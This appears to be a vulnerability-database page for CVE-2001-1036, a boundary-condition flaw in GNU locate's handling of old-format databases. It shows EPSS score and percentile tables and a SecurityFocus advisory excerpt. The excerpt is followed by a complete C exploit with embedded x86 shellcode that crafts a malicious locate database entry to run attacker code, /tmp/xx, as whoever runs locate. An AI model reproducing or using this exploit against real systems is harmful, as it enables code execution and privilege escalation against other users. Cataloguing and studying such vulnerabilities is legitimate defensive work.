CVE-2001-1036 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.13%
2025-04-15	–	–	–	–	0.13%
2025-04-15	–	–	–	–	0.13,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	–
2024-06-02	–
2025-01-19	–
2025-03-18	3%
2025-04-15	34%
2025-04-15	34%

// source: https://www.securityfocus.com/bid/3127/info GNU locate is an application that searches file databases for file names that match user-supplied patterns. A boundary condition error can occur when the program reads database files composed in an "old" format, produced by GNU locate prior to version 4.0 and by Unix versions of locate and find. If an attacker is able to write a malicious entry to a database file used by other users, the attacker could cause arbitrary code to be executed by another user when the user runs the locate program. It also should be noted that in earlier versions of Slackware(circa 3.5) the file is written by the superuser. #include <stdio.h> char shellcode[] = "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46" "\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80" "\xe8\xe3\xff\xff\xff/tmp/xx"; char putshell[] = "\x14\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c" "\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96"; int main(void) { int i; int z0=0; int addr=0x0804a970; int z1=0; int addr2=-626; int z2=0; int addr3=addr+6; printf("%s", &addr); printf("%s", &addr3); printf("%s",shellcode); fflush(stdout); for(i=46;i<256;i++) putchar('A'); printf("%s", putshell); fflush(stdout); putchar(0); putchar(30); printf("%s", &addr2); printf("\x82\x83"); fflush(stdout); }